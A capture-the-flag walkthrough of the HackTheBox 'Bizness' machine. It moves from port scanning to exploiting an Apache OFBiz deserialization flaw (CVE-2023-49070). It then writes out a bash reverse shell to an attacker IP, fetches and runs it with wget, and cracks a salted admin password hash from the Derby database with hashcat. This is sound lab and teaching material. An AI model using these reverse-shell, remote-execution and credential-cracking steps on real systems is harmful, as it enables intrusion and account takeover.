As always, we can begin with a port scan:
╰─ nmap -sC -sV 10.129.75.158
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-01-07 22:32 CST
Nmap scan report for 10.129.75.158
Host is up (0.031s latency).
Not shown: 997 closed tcp ports (conn-refused)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.4p1 Debian 5+deb11u3 (protocol 2.0)
| ssh-hostkey:
| 3072 3e:21:d5:dc:2e:61:eb:8f:a6:3b:24:2a:b7:1c:05:d3 (RSA)
| 256 39:11:42:3f:0c:25:00:08:d7:2f:1b:51:e0:43:9d:85 (ECDSA)
|_ 256 b0:6f:a0:0a:9e:df:b1:7a:49:78:86:b2:35:40:ec:95 (ED25519)
80/tcp open http nginx 1.18.0
|_http-server-header: nginx/1.18.0
|_http-title: Did not follow redirect to https://bizness.htb/
443/tcp open ssl/http nginx 1.18.0
| tls-nextprotoneg:
|_ http/1.1
|_ssl-date: TLS randomness does not represent time
| tls-alpn:
|_ http/1.1
|_http-server-header: nginx/1.18.0
| ssl-cert: Subject: organizationName=Internet Widgits Pty Ltd/stateOrProvinceName=Some-State/countryName=UK
| Not valid before: 2023-12-14T20:03:40
|_Not valid after: 2328-11-10T20:03:40
|_http-title: Did not follow redirect to https://bizness.htb/
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 18.46 seconds
Let’s go ahead and add bizness.htb to our /etc/hosts file and look at the site.
If we scroll to the bottom of the page, we see that the site is using a technology called Apache OFBiz. If we perform some directory enumeration with something like dirsearch we can see the following directory is found:
╰─ dirsearch -u https://bizness.htb/
/usr/lib/python3/dist-packages/dirsearch/dirsearch.py:23: DeprecationWarning: pkg_resources is deprecated as an API. See https://setuptools.pypa.io/en/latest/pkg_resources.html
from pkg_resources import DistributionNotFound, VersionConflict
_|. _ _ _ _ _ _|_ v0.4.3
(_||| _) (/_(_|| (_| )
Extensions: php, aspx, jsp, html, js | HTTP method: GET | Threads: 25 | Wordlist size: 11460
Output File: /home/kali/Desktop/HTB/Machines/Easy/Bizness/Writeup/reports/https_bizness.htb/__24-01-07_22-39-47.txt
Target: https://bizness.htb/
[22:39:47] Starting:
[22:39:52] 400 - 795B - /\..\..\..\..\..\..\..\..\..\etc\passwd
[22:39:53] 400 - 795B - /a%5c.aspx
[22:39:53] 302 - 0B - /accounting -> https://bizness.htb/accounting/
[22:40:03] 302 - 0B - /catalog -> https://bizness.htb/catalog/
---SNIP---
[22:40:18] 404 - 682B - /META-INF/ra.xml
[22:40:29] 302 - 0B - /solr/ -> https://bizness.htb/solr/control/checkLogin/
[22:40:29] 200 - 21B - /solr/admin/
[22:40:29] 200 - 21B - /solr/admin/file/?file=solrconfig.xml
[22:40:35] 404 - 682B - /WEB-INF
[22:40:35] 404 - 682B - /WEB-INF/application_config.xml
---SNIP---
We can navigate to the /solr/admin directory and determine the version number of OFBiz being used:
We see the version being used is 18.12, so we can begin looking for CVEs related to this version of OFBiz, because this is an easy machine and they typically just chain together a few CVEs.
After a few google searches we can find a nice proof of concept on GitHub for CVE-2023-49070. In order to actually use this exploit though we will need some tools specific for this vulnerability.
This CVE takes advantage of a deserialization exploit, so you’ll need to download the latest binaries of ysoserial which is used for gadget chaining and making deserialization payloads.
You’ll also notice that this exploit requires you to use a specific version of openJDK. If you’re using the apt package manager, you can install it and specify its usage like this:
#install openjdk-11
sudo apt-get install openjdk-11-jdk
# set Java 11 as the default version
sudo update-alternatives --config java
# then, select the number corresponding to OpenJDK 11 in the list
# verify the version is set
java -version
Then, I ran the exploit with the rce option and tested to see if the target machine would reach out to a web server I am in control of:
#running the exploit
╰─ python3 exploit.py https://bizness.htb/ rce "wget http://10.10.14.115:8888/test"
#my web server
╰─ python3 -m http.server 8888
Serving HTTP on 0.0.0.0 port 8888 (http://0.0.0.0:8888/) ...
10.129.75.158 - - [07/Jan/2024 22:52:16] code 404, message File not found
10.129.75.158 - - [07/Jan/2024 22:52:16] "GET /test HTTP/1.1" 404 -
Nice! It worked, let’s move forward and make a reverse shell script with RevShells and write it to a file that we will serve to the target machine:
#the shell script
╰─ cat shell.sh
#!/bin/bash
/bin/bash -i >& /dev/tcp/10.10.14.115/1337 0>&1
#running the exploit
╰─ python3 exploit.py https://bizness.htb/ rce "wget http://10.10.14.115:8888/shell.sh"
#my web server
╰─ python3 -m http.server 8888
Serving HTTP on 0.0.0.0 port 8888 (http://0.0.0.0:8888/) ...
10.129.75.158 - - [07/Jan/2024 22:55:04] "GET /shell.sh HTTP/1.1" 200 -
Now we just need to use the rce option to run that command and catch the shell on our listener:
#running the script remotely
╰─ python3 exploit.py https://bizness.htb/ rce "bash shell.sh"
#on my listener
╰─ nc -lvp 1337
listening on [any] 1337 ...
connect to [10.10.14.115] from bizness.htb [10.129.75.158] 34282
bash: cannot set terminal process group (742): Inappropriate ioctl for device
bash: no job control in this shell
ofbiz@bizness:/opt/ofbiz$
Now we’ve got the user flag and can continue to try and escalate our privileges.
When researching OFBiz earlier, I learned that it uses a Derby database. I eventually found its contents here:
ofbiz@bizness:/opt/ofbiz/runtime/data/derby$ ls -lh
total 16K
-rw-r--r-- 1 ofbiz ofbiz-operator 2.3K Jan 7 23:30 derby.log
drwxr-xr-x 5 ofbiz ofbiz-operator 4.0K Jan 7 23:30 ofbiz
drwxr-xr-x 5 ofbiz ofbiz-operator 4.0K Jan 7 23:30 ofbizolap
drwxr-xr-x 5 ofbiz ofbiz-operator 4.0K Jan 7 23:30 ofbiztenant
Inside the ofbiz directory, there is another folder called seg0 which contains segment files used to store and organize data. When I pulled a few of the .dat files in that directory I saw some of them were blank.
I opted to grep the directory for passwords like this:
╰─ grep -a currentPassword /opt/ofbiz/runtime/data/derby/ofbiz/seg0/*
This output was poorly formatted but revealed a file called c54d0.dat that contains the following:
eeval-UserLogin createdStamp="2023-12-16 03:40:23.643" createdTxStamp="2023-12-16 03:40:23.445" currentPassword="$SHA$d$uP0_QaVBpDWFeo8-dRzDqRwXQ2I" enabled="Y" hasLoggedOut="N" lastUpdatedStamp="2023-12-16 03:44:54.272" lastUpdatedTxStamp="2023-12-16 03:44:54.213" requirePasswordChange="N" userLoginId="admin"/>
This is a URL-safe SHA hash, where the salt is d. More specifically, the documentation for OFBiz explains how this is a hash derived from the password. The process is like this:
- Take the input password and SHA hash it using
das the salt. - Take those bytes and safe base64 encode them.
We can put this in cyberchef to get the original salted SHA hash:
We can then write this to a file and append :d to the end to clarify the hash being used. Then we can crack this in hashcat against the rockyou wordlist like this:
╰─ hashcat -a 0 -m 120 hash.txt /home/kali/Desktop/Useful-Misc./rockyou.txt
Then we can use that password in our shell to log in as root
Happy hacking!